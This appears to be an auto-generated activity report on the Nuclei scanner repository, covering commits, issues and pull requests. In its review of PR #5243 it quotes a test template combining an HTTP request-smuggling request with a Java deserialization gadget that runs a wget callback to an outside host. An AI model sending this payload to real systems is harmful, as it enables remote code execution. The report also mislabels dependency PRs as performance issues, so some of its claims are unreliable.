Executive Summary
The Nuclei project, managed by ProjectDiscovery, is a high-speed, customizable vulnerability scanner utilizing a simple YAML-based Domain-Specific Language (DSL). It supports multiple protocols such as TCP, DNS, HTTP, and SSL, enabling rapid and accurate scanning across numerous hosts. The project is actively maintained with frequent updates and contributions from a broad community of security researchers and engineers. Currently, the repository boasts 17,716 stars, 2,279 forks, and 282 open issues. The project is on a positive trajectory with continuous improvements and active community engagement.
- Active Development: Frequent commits and pull requests indicate ongoing development.
- Dependency Management: Regular updates to dependencies ensure the use of up-to-date libraries.
- Community Contributions: Significant involvement from both core team members and external contributors.
- Internationalization: Efforts to make documentation accessible in multiple languages.
- High Engagement: Numerous open issues and active discussions reflect robust community participation.
Recent Activity
Team Members
-
Tarun Koyalwar (tarunKoyalwar)
-
Jorge Machado (MachadoOtto)
-
Douglas Danger Manley (doug-threatmate)
-
dependabot[bot]
Recent Commits
- Dependency Updates: Multiple commits by dependabot[bot] updating dependencies (
github.com/projectdiscovery/useragent
, hmap
, httpx
).
- Bug Fixes:
- Internationalization:
- Jorge Machado added a Spanish translation for the README file.
Recent Pull Requests
- Open PRs:
- #5259: Adds Japanese translation of README.
- #5252 & #5251: Dependency updates with CI failures needing resolution.
- #5243: Adds ncat command for replicating raw requests.
- #5228 & #5187: Introduce timeout variants and fix multi-thread execution issues.
- #5139: Enhancements for fuzzing capabilities.
Collaboration Patterns
The development team exhibits strong collaboration with frequent merges and reviews. Dependabot handles dependency updates, while core team members focus on bug fixes, feature additions, and internationalization efforts. Community contributions are evident in both code and documentation enhancements.
Risks
-
CI Failures in Dependency Updates:
- PRs #5252 and #5251 have CI failures that need addressing before merging. This could delay the integration of necessary dependency updates.
-
Concurrency Issues:
- PR #5187 addresses multi-thread execution problems. Given its complexity, thorough testing is essential to prevent resource exhaustion and crashes.
-
Performance Concerns:
- Multiple issues report timeouts and performance degradation during large scans or specific template executions (#5255, #5254). This recurring theme suggests potential scalability challenges.
-
Template Validation Bugs:
- Issues like invalid template validation (#4866) could impact scan accuracy, necessitating robust validation mechanisms.
Of Note
-
Localization Efforts:
- Active efforts to translate documentation into multiple languages (e.g., Spanish, Japanese) indicate a push towards global accessibility.
-
New Feature Addition:
- PR #5243 introduces an ncat command for replicating raw requests, enhancing the tool's versatility for specific testing scenarios.
-
Proxy Configuration Issues:
- Several issues highlight difficulties users face with proxy settings and network interfaces (#5183, #5182), suggesting a need for improved configuration guidance or tooling.
Conclusion
The Nuclei project is actively developed with strong community engagement and regular updates. While there are notable risks related to CI failures in dependency updates and concurrency issues, the project's trajectory remains positive with continuous improvements and internationalization efforts enhancing global usability. Addressing performance concerns and ensuring robust template validation will be crucial for maintaining the tool's reliability and scalability.
Quantified Commit Activity Over 14 Days
PRs: created by that dev and opened/merged/closed-unmerged during the period
Detailed Reports
Report On: Fetch commits
Project Overview
The Nuclei project, managed by ProjectDiscovery, is a fast and customizable vulnerability scanner that uses a simple YAML-based Domain-Specific Language (DSL). It allows users to send requests across multiple targets based on templates, ensuring zero false positives and enabling rapid scanning of numerous hosts. Nuclei supports various protocols, including TCP, DNS, HTTP, SSL, and more. The project is actively developed, with frequent updates and contributions from a large community of security researchers and engineers. As of the latest update, the repository has 17,716 stars, 2,279 forks, and 282 open issues.
Recent Activities
Commits in Default Branch: dev
2 days ago
-
Merge pull request #5248 from projectdiscovery/dependabot/go_modules/dev/github.com/projectdiscovery/useragent-0.0.54
- Author: dependabot[bot]
- Files:
go.mod
, go.sum
- Changes: +3/-3 lines
- Summary: Bumped
github.com/projectdiscovery/useragent
from 0.0.52 to 0.0.54.
-
Merge pull request #5250 from projectdiscovery/dependabot/go_modules/dev/github.com/projectdiscovery/hmap-0.0.45
- Author: dependabot[bot]
- Files:
go.mod
, go.sum
- Changes: +3/-3 lines
- Summary: Bumped
github.com/projectdiscovery/hmap
from 0.0.44 to 0.0.45.
-
chore(deps): bump github.com/projectdiscovery/useragent
- Author: dependabot[bot]
- Files:
go.mod
, go.sum
- Changes: +3/-3 lines
- Summary: Updated dependency to version 0.0.54.
-
chore(deps): bump github.com/projectdiscovery/hmap from 0.0.44 to 0.0.45
- Author: dependabot[bot]
- Files:
go.mod
, go.sum
- Changes: +3/-3 lines
- Summary: Updated dependency to version 0.0.45.
-
Merge pull request #5249 from projectdiscovery/dependabot/go_modules/dev/github.com/projectdiscovery/httpx-1.6.3
- Author: dependabot[bot]
- Files:
go.mod
, go.sum
- Changes: +12/-12 lines
- Summary: Bumped
github.com/projectdiscovery/httpx
from version 1.6.1 to version 1.6.3.
Tarun Koyalwar (tarunKoyalwar)
Jorge Machado (MachadoOtto)
- Add Spanish translation of README (#5242)
Douglas Danger Manley (doug-threatmate)
- Fix
ExecuteCallbackWithCtx
to use the context that was provided (#5236)
dependabot[bot]
Patterns and Conclusions
From the recent commit history, several patterns and conclusions can be drawn:
- Dependency Management: A significant portion of recent commits involves updating dependencies using Dependabot, indicating a strong focus on maintaining up-to-date libraries and tools.
- Collaboration: Multiple developers are contributing to the project with various focuses such as fixing bugs (e.g., Tarun Koyalwar's panic fix), adding new features (e.g., Jorge Machado's translation), and improving existing functionalities (e.g., Douglas Danger Manley's context fix).
- Community Contributions: The project benefits from contributions by both core team members and external contributors like Dependabot.
- Active Development: The frequent commits and merges show that the project is under active development with continuous improvements being made.
- Internationalization: Efforts are being made to make the documentation accessible in multiple languages, enhancing global usability.
This detailed analysis highlights the dynamic nature of the Nuclei project and the collaborative efforts driving its development forward.
Report On: Fetch issues
Recent Activity Analysis
Recent GitHub issue activity for the projectdiscovery/nuclei repository shows a mix of newly created issues and ongoing discussions. There are 282 open issues, indicating active development and community engagement.
Notable Anomalies and Themes
-
Timeout and Performance Issues: Multiple issues (#5255, #5254, #5250, #5249, #5248) report problems with timeouts and performance, particularly when dealing with large scans or specific templates. This suggests a recurring theme where the tool's efficiency under heavy load is a concern.
-
Localization Efforts: Issues like #5259 (Japanese README) and #5242 (Spanish README) highlight efforts to make the project more accessible to non-English speakers. This is significant for expanding the user base globally.
-
Proxy and Network Interface Issues: Several issues (#5183, #5182) discuss problems with proxy settings and network interfaces, indicating that users are facing challenges in configuring these aspects correctly.
-
Concurrency and Goroutine Leaks: Issues like #5191 and #5188 point out concurrency problems and goroutine leaks when using the SDK, which could lead to resource exhaustion and crashes.
-
Template Validation and Execution: Issues such as #4866 (invalid template validation) and #5017 (internal extractor issues) indicate that there are still bugs in how templates are validated and executed, which could affect scan accuracy.
-
Interactsh Synchronization: Issue #4980 discusses synchronization issues with Interactsh results, causing duplicate outputs. This suggests a need for better handling of asynchronous interactions.
Issue Details
Most Recently Created Issues
-
#5260: CVE-2023-25157 is blocking nuclei
- Priority: High
- Status: Open
- Created: 0 days ago
- Updated: 0 days ago
-
#5259: docs: add Japanese README
- Priority: Low
- Status: Open
- Created: 0 days ago
- Updated: 0 days ago
-
#5258: Authenticated scan via secret file not working
- Priority: Medium
- Status: Open
- Created: 0 days ago
- Updated: 0 days ago
-
#5257: Path
, Query
Variables not populated in response variables
- Priority: Medium
- Status: Open
- Created: 0 days ago
- Updated: 0 days ago
-
#5256: [FTL] Could not run nuclei: no templates provided for scan
- Priority: High
- Status: Open
- Created: 1 day ago
- Updated: 1 day ago
Most Recently Updated Issues
-
#5234: Skipped website:443 from target list as found unresponsive 30 times after using v3.2.7
- Priority: High
- Status: Closed
- Created: 7 days ago
- Updated: 6 days ago
-
#5236: Fix ExecuteCallbackWithCtx
to use the context that was provided
- Priority: Medium
- Status: Closed
- Created: 7 days ago
- Updated: 5 days ago
-
#5241: Inclusion of the Spanish translation of the README
- Priority: Low
- Status: Closed
- Created: 5 days ago
- Updated: 2 days ago
-
#5242: Add Spanish translation of README
- Priority: Low
- Status: Closed
- Created: 5 days ago
- Updated:: 2 days ago
Report On: Fetch pull requests
Analysis of Pull Requests for projectdiscovery/nuclei
Open Pull Requests
PR #5259: docs: add Japanese README
- State: Open
- Created: 0 days ago
- Summary: Adds a Japanese translation of the README.
- Comments: Positive feedback from Georgina Reeder.
- Files Changed:
README.md
(+3, -1)
README_JP.md
(added, +172)
- Notable: This is a new contribution and looks straightforward with no issues.
PR #5252: chore(deps): bump github.com/projectdiscovery/dsl from 0.0.57 to 0.1.1
- State: Open
- Created: 2 days ago
- Summary: Updates the dependency version of
github.com/projectdiscovery/dsl
.
- Comments: CI run failed; Dependabot will merge automatically if amended and tests pass.
- Files Changed:
go.mod
(+1, -1)
go.sum
(+2, -2)
- Notable: The failure in CI needs to be addressed before merging.
PR #5251: chore(deps): bump github.com/projectdiscovery/fastdialer from 0.1.0 to 0.1.1
- State: Open
- Created: 2 days ago
- Summary: Updates the dependency version of
github.com/projectdiscovery/fastdialer
.
- Comments: CI run failed; Dependabot will merge automatically if amended and tests pass.
- Files Changed:
go.mod
(+2, -2)
go.sum
(+4, -4)
- Notable: Similar to #5252, the CI failure needs to be resolved.
PR #5243: Add ncat command to replicate raw request
- State: Open
- Created: 4 days ago
- Summary: Adds an ncat command for replicating raw requests.
- Comments: Positive feedback from Georgina Reeder.
- Files Changed:
pkg/protocols/http/request.go
(+47, -7)
- Notable: This is a significant feature addition and should be reviewed thoroughly.
PR #5228: introduce timeout variants
- State: Open
- Created: 8 days ago
- Summary: Introduces timeout variants.
- Comments: Review comment suggesting validation of options.Timeout.
- Files Changed:
- Multiple files with changes mainly adding timeout handling.
- Notable: Needs further review and testing to ensure robustness.
PR #5187: Fixing issues with multi-thread execution
- State: Open
- Created: 20 days ago, edited 6 days ago
- Summary: Fixes multiple issues during SDK usage.
- Comments: Detailed review comments addressing shared resources and memory leaks.
- Files Changed:
- Multiple files with substantial changes for fixing threading issues.
- Notable: Critical for stability; requires thorough testing.
PR #5139: Fuzzing additions & enhancements
- State: Open
- Created: 32 days ago, edited 14 days ago
- Summary: Adds several enhancements for fuzzing capabilities.
- Comments:
- Added skipping parameters after certain frequency of no issues found.
- Added configurable aggression level to fuzzing payloads.
- Files Changed:
- Multiple files with significant changes for fuzzing enhancements.
- Notable: Important for improving fuzzing capabilities; needs detailed review and testing.
Closed Pull Requests
PR #5250: chore(deps): bump github.com/projectdiscovery/hmap from 0.0.44 to 0.0.45
- State: Closed (Merged)
- Created/Closed Dates: Created and closed within the same day.
- Summary: Dependency update for
github.com/projectdiscovery/hmap
.
PR #5249: chore(deps): bump github.com/projectdiscovery/httpx from 1.6.1 to 1.6.3
- State: Closed (Merged)
- Created/Closed Dates: Created and closed within the same day.
PR #5248: chore(deps): bump github.com/projectdiscovery/useragent from 0.0.52 to 0.0.54
PR #5242: Add Spanish translation of README
PR #5236: Fix ExecuteCallbackWithCtx
to use the context that was provided
PR #5230: fix panic on failed raw request
These are mostly dependency updates or minor fixes that were merged quickly without notable issues.
Notable Issues
- Several dependency update pull requests (#5252, #5251) have CI failures that need resolution before merging.
- The open pull requests related to multi-threading (#5187) and fuzzing enhancements (#5139) are significant and require thorough testing and review due to their complexity and impact on the system's stability and functionality.
Recommendations
- Prioritize resolving CI failures in dependency update pull requests (#5252, #5251).
- Conduct detailed reviews and extensive testing for complex feature additions like multi-thread execution fixes (#5187) and fuzzing enhancements (#5139).
- Ensure new features like the ncat command (#5243) are well-documented and tested before merging.
By addressing these areas, the project can maintain stability while integrating new features and improvements effectively.
Report On: Fetch PR 5243 For Assessment
PR #5243: Add ncat command to replicate raw request
Summary
This pull request introduces a new feature to the projectdiscovery/nuclei
repository by adding the ncat
command to replicate raw HTTP requests. This enhancement is aimed at providing an alternative to the existing curl
command for users who need to replicate raw requests more precisely.
Changes Overview
- File Modified:
pkg/protocols/http/request.go
- Lines Added: 47
- Lines Removed: 7
Detailed Analysis
Code Changes
-
Imports:
- Added
net/url
package to handle URL parsing.
-
Modification in executeRequest
function:
- The logic for generating the
curlCommand
has been extended.
- A new block handles the generation of an
ncat
command if the request is unsafe and a raw request is present.
- The
ncat
command is constructed by iterating over the raw request bytes, escaping them appropriately for bash, and appending them to a formatted string.
- URL parsing is used to determine the host and port for the
ncat
command, with SSL support if the scheme is HTTPS.
-
New Function:
bashEscape
: A utility function that escapes non-printable ASCII characters and quotes for safe inclusion in bash commands.
Test YAML
A test YAML file is included in the PR description, which seems to be designed to verify the new feature:
id: test
info:
name: Ncat Command Test
author: x
severity: high
description: |
Ncat Command Test Template
metadata:
verified: true
max-request: 1
tags: raw
http:
- raw:
- |+
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
{{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "raw")}}
unsafe: true
matchers-condition: and
matchers:
- type: word
part: body
words:
Code Quality Assessment
Pros:
-
Functionality:
- The new feature adds significant value by allowing users to replicate raw requests using
ncat
, which can be crucial for certain testing scenarios.
-
Code Structure:
- The code changes are well-organized and follow a logical flow.
- The introduction of a helper function (
bashEscape
) improves readability and reusability.
-
Error Handling:
- The code includes error handling for URL parsing, ensuring that defaults are used if parsing fails.
Cons:
-
Complexity:
- The construction of the
ncat
command involves multiple string manipulations and byte operations, which could be simplified or better documented.
-
Testing:
- While a test YAML is provided, it would be beneficial to include automated tests within the repository to ensure continuous validation of this feature.
-
Documentation:
- The PR mentions that documentation has been added, but it's not clear from the diff. Ensure that user-facing documentation is updated to explain how to use this new feature.
Conclusion
Overall, PR #5243 introduces a valuable feature with well-thought-out code changes. However, there are areas for improvement in terms of complexity reduction, testing, and documentation clarity. Once these aspects are addressed, this PR would be a strong candidate for merging.
Recommendations:
-
Simplify String Manipulations:
- Consider refactoring the
ncat
command construction for better readability.
-
Automated Tests:
- Add automated tests to validate this new functionality as part of your CI/CD pipeline.
-
Documentation:
- Ensure comprehensive user documentation is available to guide users on how to utilize this new feature effectively.
By addressing these recommendations, the PR will not only enhance functionality but also maintain high standards of code quality and usability.
Report On: Fetch Files For Assessment
File Analysis
Structure and Quality:
- Module Declaration: The file starts with the
module
declaration, specifying the module path.
- Go Version: Specifies the Go version required for the project (
go 1.21
), which ensures compatibility and leverages the latest features and improvements in Go.
- Dependencies: Lists all dependencies with their respective versions or commit hashes. This is crucial for reproducibility and dependency management.
- Indirect Dependencies: Also includes indirect dependencies, which are dependencies of dependencies, ensuring a comprehensive dependency graph.
Observations:
- The file is well-structured and follows the standard format for Go modules.
- Dependencies are explicitly listed, which aids in clarity and dependency management.
- The use of specific versions or commit hashes ensures that builds are reproducible and consistent.
Structure and Quality:
- Package Declaration: Declares the package
httpclientpool
, indicating its role in managing HTTP client pools.
- Imports: Imports necessary packages, including standard libraries and internal packages.
- Constants and Variables: Defines constants and variables for default values and configurations.
- Structs: Defines structs like
Options
to encapsulate configuration options for HTTP clients.
- Functions: Implements functions to manipulate and retrieve options, ensuring encapsulation and modularity.
Observations:
- The code is modular, with clear separation of concerns through the use of structs and methods.
- Constants are used for default values, enhancing readability and maintainability.
- Functions are well-documented with comments, aiding in understanding their purpose and usage.
Structure and Quality:
- Package Declaration: Declares the package
lib
, indicating it contains core library functionalities.
- Imports: Imports necessary packages, including standard libraries and internal packages.
- Structs and Interfaces: Defines key structs and interfaces that form the core SDK functionalities.
- Functions: Implements core functions that provide the main capabilities of the SDK.
Observations:
- The file is well-organized, with clear separation between different components (structs, interfaces, functions).
- Functions are documented with comments, explaining their purpose and parameters.
- The use of interfaces enhances flexibility and testability by allowing different implementations.
Structure and Quality:
- Package Declaration: Declares the package
main
, indicating this is the entry point of the application.
- Imports: Imports necessary packages, including standard libraries and internal packages.
- Main Function: Implements the
main
function, which initializes and runs the application.
- Command-Line Flags: Defines command-line flags for configuring the application at runtime.
Observations:
- The file follows Go conventions for a main package, with a clear entry point (
main
function).
- Command-line flags are well-documented, providing users with information on how to configure the application.
- Initialization logic is encapsulated within functions, promoting modularity and readability.
Structure and Quality:
- Package Declaration: Declares the package
core
, indicating it handles core execution logic.
- Imports: Imports necessary packages, including standard libraries and internal packages.
- Structs: Defines structs like
Executor
to encapsulate execution logic.
- Functions: Implements functions to manage execution tasks, ensuring modularity and encapsulation.
Observations:
- The file is well-organized, with clear separation between different components (structs, functions).
- Functions are documented with comments, explaining their purpose and parameters.
- The use of structs to encapsulate execution logic enhances modularity and maintainability.
General Observations
-
Code Quality:
- The code across all files adheres to Go conventions and best practices.
- Functions are well-documented with comments, aiding in understanding their purpose and usage.
-
Modularity:
- The use of structs and interfaces promotes modularity, making the codebase easier to maintain and extend.
-
Dependency Management:
- Dependencies are explicitly listed in
go.mod
, ensuring reproducibility and consistency in builds.
-
Documentation:
- Comments are used effectively to document functions, parameters, and return values.
-
Readability:
- Code is organized logically with clear separation of concerns, enhancing readability.
Overall, the codebase demonstrates high quality in terms of structure, documentation, modularity, and adherence to Go conventions.